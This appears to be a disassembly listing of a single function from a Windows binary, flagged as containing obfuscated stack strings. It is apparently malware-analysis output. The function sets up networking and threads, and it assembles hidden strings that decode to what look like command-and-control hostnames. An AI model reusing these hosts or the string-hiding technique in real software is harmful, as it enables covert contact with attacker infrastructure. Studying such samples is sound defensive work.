Function at 0x10005d31
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x1004e876
push eax
mov dword fs:[0], esp
sub esp, 0x750
lea eax, [esp + 0x5bc]
push ebx
push esi
push edi
push eax
push 0x202
mov edi, ecx
call dword [0x100522b0]
cmp eax, 0xffffffff
jne 0x10005d76
xor eax, eax
jmp 0x1000628e
xor ebx, ebx
push 0x3ff
lea eax, [esp + 0x1cd]
push ebx
push eax
mov byte [esp + 0x1d4], bl
call fcn.10038c70
add esp, 0xc
lea eax, [esp + 0x40]
push eax
call fcn.1001523d
mov esi, eax
lea ecx, [esp + 0xd8]
push ecx
lea ecx, [edi + 0x20d0]
mov dword [esp + 0x768], ebx
call fcn.100112be
push esi
mov edx, eax
lea ecx, [esp + 0x13c]
mov byte [esp + 0x768], 1
call fcn.10009e59
pop ecx
lea ecx, [esp + 0xd8]
call fcn.10001d92
lea ecx, [esp + 0x40]
call fcn.10001d92
cmp dword [esp + 0x14c], 0x10
mov esi, dword [0x1005210c]
lea eax, [esp + 0x138]
cmovae eax, dword [esp + 0x138]
push eax
push ebx
push ebx
call esi
mov dword [edi + 0x2348], eax
mov dword [esp + 0x134], 0x10058870
lea ecx, [esp + 0x28]
mov byte [esp + 0x764], 5
call fcn.1001be44
mov dword [esp + 0xec], 0xf
mov dword [esp + 0xe8], ebx
mov byte [esp + 0xd8], bl
mov byte [esp + 0x764], 7
cmp dword [esp + 0x3c], 0x10
lea eax, [esp + 0x28]
cmovae eax, dword [esp + 0x28]
push eax
push 0x10059c68
lea eax, [esp + 0x1d0]
push 0x10059f80
push eax
call fcn.10032575
push 0x10059f88
lea edx, [esp + 0x3c]
lea ecx, [esp + 0x54]
call fcn.10003093
add esp, 0x14
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0xe4]
mov byte [esp + 0x770], 8
call fcn.10002f4c
lea ecx, [esp + 0x40]
mov byte [esp + 0x764], 7
call fcn.10001d92
lea eax, [esp + 0x1c8]
push eax
call fcn.10001898
push eax
lea ecx, [esp + 0x16c]
call fcn.10001d63
mov byte [esp + 0x764], 9
cmp dword [esp + 0x17c], 0x10
lea eax, [esp + 0x168]
cmovae eax, dword [esp + 0x168]
push eax
push ebx
push ebx
call esi
push 0x400
mov dword [edi + 0x233c], eax
lea eax, [esp + 0x1cc]
push ebx
push eax
call fcn.10038c70
add esp, 0xc
lea ecx, [esp + 0x10]
call fcn.1001be44
mov byte [esp + 0x764], 0xa
cmp dword [esp + 0x24], 0x10
lea eax, [esp + 0x10]
cmovae eax, dword [esp + 0x10]
push eax
push 0x10059c28
lea eax, [esp + 0x1d0]
push 0x10059f80
push eax
call fcn.10032575
push 0x10059f9c
lea edx, [esp + 0x3c]
lea ecx, [esp + 0x54]
call fcn.10003093
add esp, 0x14
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x770], 0xb
call fcn.10002f4c
lea ecx, [esp + 0x40]
mov byte [esp + 0x764], 0xa
call fcn.10001d92
lea eax, [esp + 0x1c8]
push eax
call fcn.10001898
push eax
lea ecx, [esp + 0x154]
call fcn.10001d63
mov byte [esp + 0x764], 0xc
cmp dword [esp + 0x164], 0x10
lea eax, [esp + 0x150]
cmovae eax, dword [esp + 0x150]
push eax
push ebx
push ebx
call esi
push 0x400
mov dword [0x10067548], eax
lea eax, [esp + 0x1cc]
push ebx
push eax
call fcn.10038c70
add esp, 0xc
lea ecx, [esp + 0x198]
call fcn.1001be44
mov byte [esp + 0x764], 0xd
cmp dword [esp + 0x24], 0x10
lea eax, [esp + 0x10]
cmovae eax, dword [esp + 0x10]
push eax
push 0x10059be8
lea eax, [esp + 0x1d0]
push 0x10059f80
push eax
call fcn.10032575
push 0x10059fb0
lea edx, [esp + 0x3c]
lea ecx, [esp + 0x54]
call fcn.10003093
add esp, 0x14
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x1a4]
mov byte [esp + 0x770], 0xe
call fcn.10002f4c
lea ecx, [esp + 0x40]
mov byte [esp + 0x764], 0xd
call fcn.10001d92
lea eax, [esp + 0x1c8]
push eax
call fcn.10001898
push eax
lea ecx, [esp + 0x184]
call fcn.10001d63
mov byte [esp + 0x764], 0xf
cmp dword [esp + 0x194], 0x10
lea eax, [esp + 0x180]
cmovae eax, dword [esp + 0x180]
push eax
push ebx
push ebx
call esi
mov esi, dword [0x10052028]
push ebx
push ebx
push edi
push 0x100057fb
push ebx
push ebx
mov dword [edi + 0x20c8], eax
mov dword [edi + 0x20c4], ebx
call esi
push ebx
push ebx
push edi
push 0x1000584b
push ebx
push ebx
mov dword [edi + 0x2340], eax
call esi
mov dword [edi + 0x2344], eax
push 0x30
lea eax, [esp + 0x104]
push ebx
mov dword [edi + 0x222c], edi
push eax
mov dword [edi + 4], ebx
mov dword [edi + 8], ebx
mov dword [esp + 0xfc], 0x63746b77
mov dword [esp + 0x100], 0x31362e70
mov dword [esp + 0x104], 0x2e313136
mov dword [esp + 0x108], 0x6576696c
call fcn.10038c70
add esp, 0xc
lea eax, [esp + 0xa9]
push 0x2f
push ebx
push eax
mov dword [esp + 0xa4], 0x2e6b777a
mov dword [esp + 0xa8], 0x30313734
mov dword [esp + 0xac], 0x6e6f2e30
mov dword [esp + 0xb0], 0x656e696c
mov byte [esp + 0xb4], bl
call fcn.10038c70
add esp, 0xc
lea eax, [esp + 0x69]
push 0x2f
push ebx
mov dword [esp + 0x60], 0x2e6b777a
mov dword [esp + 0x64], 0x30313734
mov dword [esp + 0x68], 0x6e6f2e30
mov dword [esp + 0x6c], 0x656e696c
mov byte [esp + 0x70], bl
push eax
call fcn.10038c70
add esp, 0xc
push 0x40
push ebx
push 0x10065a40
call fcn.10038c70
add esp, 0xc
push 0x40
push ebx
push 0x10065a00
call fcn.10038c70
add esp, 0xc
push 0x40
push ebx
push 0x10065ac0
call fcn.10038c70
add esp, 0xc
mov ecx, ebx
mov al, byte [esp + ecx + 0xf0]
mov byte [ecx + 0x10065a40], al
inc ecx
test al, al
jne 0x100061b9
mov ecx, ebx
mov al, byte [esp + ecx + 0x98]
mov byte [ecx + 0x10065a00], al
inc ecx
test al, al
jne 0x100061cd
mov al, byte [esp + ebx + 0x58]
mov byte [ebx + 0x10065ac0], al
inc ebx
test al, al
jne 0x100061df
lea eax, [esp + 0x1b0]
push eax
lea ecx, [edi + 0x20d0]
mov dword [edi + 0x2020], edi
call fcn.100112be
push eax
lea ecx, [edi + 0x204c]
call fcn.10002d65
lea ecx, [esp + 0x1b0]
call fcn.10001d92
mov ecx, edi
call fcn.10007609
lea ecx, [edi + 0x2010]
call fcn.1001d6e3
lea ecx, [esp + 0x180]
call fcn.10001d92
lea ecx, [esp + 0x198]
call fcn.10001d92
lea ecx, [esp + 0x150]
call fcn.10001d92
lea ecx, [esp + 0x10]
call fcn.10001d92
lea ecx, [esp + 0x168]
call fcn.10001d92
lea ecx, [esp + 0xd8]
call fcn.10001d92
lea ecx, [esp + 0x28]
call fcn.10001d92
lea ecx, [esp + 0x138]
call fcn.10001d92
xor eax, eax
inc eax
mov ecx, dword [esp + 0x75c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret